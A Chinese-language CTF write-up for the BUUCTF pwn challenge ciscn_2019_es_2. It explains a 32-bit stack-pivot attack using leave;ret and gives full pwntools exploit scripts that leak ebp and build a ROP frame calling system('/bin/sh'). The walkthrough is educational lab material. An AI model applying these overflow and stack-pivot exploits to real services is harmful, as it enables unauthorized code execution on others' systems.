buuctf-ciscn_2019_es_2(栈迁移)

判断文件类型和保护机制

使用ida静态分析

在main函数中调用了vul函数,read读取0x30的数据,但是栈空间有0x28,0x28+4覆盖ebp的值,0x2c+4为返回地址,而后没有可以构造的空间所以这里就没法利用栈溢出来,所以需要使用栈迁移(需要将栈空间迁移到一个足够大的空间上可以去构造新的ROP链)

栈迁移使用leave_ret

  1. leave指令一共执行2个步骤

首先: mov esp ebp 将ebp指向的地址给esp,也就是消除栈空间

然后: pop ebp 将esp指向地址存放的值赋值给ebp,所以ebp就会跑到新的地址,同时此时esp继续+4

  1. ret指令执行1个步骤

ret执行pop eip 将esp指向的地址存放的值给eip esp继续+4

这样之后,就会将ebp和esp的地址全部修改,从而到达一个新的栈中。

分析leave指令可以发现,栈迁移的时候和ebp的地址有关系,所以我们需要找能覆盖ebp的偏移量以及ebp的地址

这里可以看到,栈空间是0x28,可以读的是30,所以当读到0x28的时候,+0x4正好覆盖ebp,所以偏移量就是0x2c,又因为有prinf函数,后面直接打印出来地址,因为%s碰到\x00会截断,如果没有\x00就会连着打印后面的内容,所以我们将s填满之后不用\x00结尾,就会将地址全部输出,然后找到ebp的地址即可!

  1. 先找到偏移量
shell 复制代码
from pwn import *
########################################################################################################################
con=1
if con:
    print('当前程序是32位的:')
    sleep(2)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(2)
    context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
    print('开始打本地:')
    sleep(2)
    io=process(filename)
else: #node5.buuoj.cn:28766
    print("开始打远程")
    sleep(2)
    io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)

payload = b'a' * 0x28 + b'b'*4
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
test_attach()
io.interactive()


可以看到,此时ebp的值就是bbbb,所以这里我们发送0x28之后的数据需要修改ebp的值,然后将ebp迁移到新的地址上

接着我们就需要接收ebp的地址了!

shell 复制代码
from pwn import *
########################################################################################################################
con=1
if con:
    print('当前程序是32位的:')
    sleep(2)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(2)
    context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
    print('开始打本地:')
    sleep(2)
    io=process(filename)
else: #node5.buuoj.cn:28766
    print("开始打远程")
    sleep(2)
    io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
payload = b'a' * 0x27 + b'b'*4
print('开始发送数据')
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
print("开始准备接收数据:")
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print('ebd的地址为:{}'.format(hex(ebp)))
io.interactive()

可以看到这里我们就得到了ebp的地址

接着就需要我们去寻找一下迁移的地址应该放到哪里,因为这里调用了两次read,所以我们可以将迁移地址放到esp的地方(也就是我们输入的数据的地址上),使用gdb调试动态找一下我们输入的地址在哪

在第一次read地址0x080485B9上加断点

可以看到输入的地址距离栈底长度为: ffffcd98-fffcd60=0x38 也就是说我们要迁移的栈的地址为ebp-0x38的位置,然后我们使用lev ret即可

这里还需要寻找一个leavel的地址 ,使用ropper寻找

shell 复制代码
ropper
file ciscn_2019_es_2
search leave

找到地址为:0x08048526,接着我们来先构造栈迁移的exp

shell 复制代码
from pwn import *
########################################################################################################################
con=1
if con:
    print('当前程序是32位的:')
    sleep(2)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(2)
    context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
    print('开始打本地:')
    sleep(2)
    io=process(filename)
else: #node5.buuoj.cn:28766
    print("开始打远程")
    sleep(2)
    io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
#test_attach()
leave_ret_addr=0x08048562
payload = b'a' * 0x24 + b'b'*4
print('开始发送数据')
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
print("开始准备接收数据:")
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print('ebd的地址为:{}'.format(hex(ebp)))
payload1=b'a'*0x28
payload1+=p32(ebp-0x38)+p32(leave_ret_addr)
test_attach()
io.send(payload1)
print('发送完成')
io.interactive()

这里可以看到我们执行到leave ret的时候,ebp指向的地址是aaaa,也就是我们上面发送的payload1中的aaaa,所以这里只要我们将paylaod1中的aaaa构造成我们新的rop链,就可以进行栈迁移之后得到shell,所以我们需要构造栈帧

复制代码
注意:因为这里偏移量为0x28,所以我们的长度必须为0x28之后才能确保栈迁移,所以我们构造的栈帧长度不能超过0x28但是也不能小于0x28
栈帧的构造顺序应该为:
垃圾数据
system_addr
system-返回值
bin_sh地址
bin/sh

因为leave操作有一个pop指令,会导致栈指针+4 所以这里开头应该是有4字节的垃圾数据,因为程序中没有bin/sh的地址,所以这里需要我们手动找到一个地址来写入/bin/sh 所以需要有一个bin_sh地址,所以我们最终的栈帧应该布置为:

shell 复制代码
b'aaaa'+p32(system_addr)+p32(0)+p32(ebp-0x38+4*0x4)+b'/bin/sh\x00'    #system返回地址随便写,

p32(ebp-0x38+4*0x4) 在system之后应该加上bin/sh作为参数,从而可以实现system('/bin/sh'),但是bin/sh需要有一个地址,所以使用ebp-0x38+4*0x4 我们知道ebp-0x38说我们输入的aaaa然后system_addr是4字节,0是4字节,加上bin/sh地址是4字节,所以这里我们需要ebp-0x38+0x10也就是在ebp-0x28的地址上写入我们的bin/sh地址,然后后面写入bin/sh,那么当esp指针过来的时候经过system之后,会直接寻找bin/sh所指向的地址,而bin/sh地址上指的值正好是/bin/sh ,就会作为system的参数传入,然后就可以得到system('/bin/sh')

复制代码
**注意:但是这里很明显我们构造的栈帧不足28长度,所以我们需要使用ljust在右边凭接000,确保长度达到28**

所以这里最终的栈帧布置为:

shell 复制代码
(b'aaaa'+p32(system_addr)+p32(0)+p32(ebp-0x38+4*0x4)+b'/bin/sh\x00').ljust(0x28,b'\x00')

然后我们用这个栈帧发送即可!

最终exp

shell 复制代码
from pwn import *
########################################################################################################################
con=1
if con:
    print('当前程序是32位的:')
    sleep(2)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(2)
    context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
#定义函数!
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
filename='/mnt/hgfs/ctf/pwn/buuctf/ciscn_2019_es_2'
debug=1
if debug:
    print('开始打本地:')
    sleep(2)
    io=process(filename)
else: #node5.buuoj.cn:28766
    print("开始打远程")
    sleep(2)
    io = remote('node5.buuoj.cn', 28766)
########################################################################################################################
elf=ELF(filename)
#test_attach()
system_addr=elf.sym['system']
#0x8048400
print('system地址为:{}'.format(hex(system_addr)))
leave_ret_addr=0x08048562
payload = b'a' * 0x24 + b'bbbb'
print('开始发送数据')
name1="Welcome, my friend. What's your name?\n"
io.sendafter(name1,payload)
print("开始准备接收数据:")
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print('ebd的地址为:{}'.format(hex(ebp)))
payload1=b'aaaa'+p32(system_addr)+p32(0)+p32(ebp-0x38+4*0x4)+b'/bin/sh\x00'
payload1=payload1.ljust(0x28,b'\x00')
payload1+=p32(ebp-0x38)+p32(leave_ret_addr)
test_attach()
io.send(payload1)
print('发送完成')
io.interactive()

我们使用gdb调试,在最后vul函数leave的地方加断点,可以看到这里栈帧的布置顺序就是我们上面的布置顺序

然后我们打远程

成功得到flag

相关推荐
unable code20 小时前
攻防世界-Misc-Miscellaneous-200
网络安全·ctf·misc
unable code1 天前
攻防世界-Misc-4-1
网络安全·ctf·misc·1024程序员节
unable code2 天前
攻防世界-Misc-2-1
网络安全·ctf·misc
Aerelin3 天前
《静态分析:GUI程序的明码比较》
逆向·ctf
Aerelin3 天前
Windows GUI 逆向分析题(CrackMe)
逆向·ctf
三七吃山漆5 天前
攻防世界——wife_wife
前端·javascript·web安全·网络安全·ctf
亿.65 天前
2025鹏城杯 Web
java·安全·web·ctf·鹏城杯
Z3r4y5 天前
【AI】2025 0x401新生交流赛 wp
人工智能·ai·ctf·wp
f0rev3r6 天前
PCTF-Maze
ctf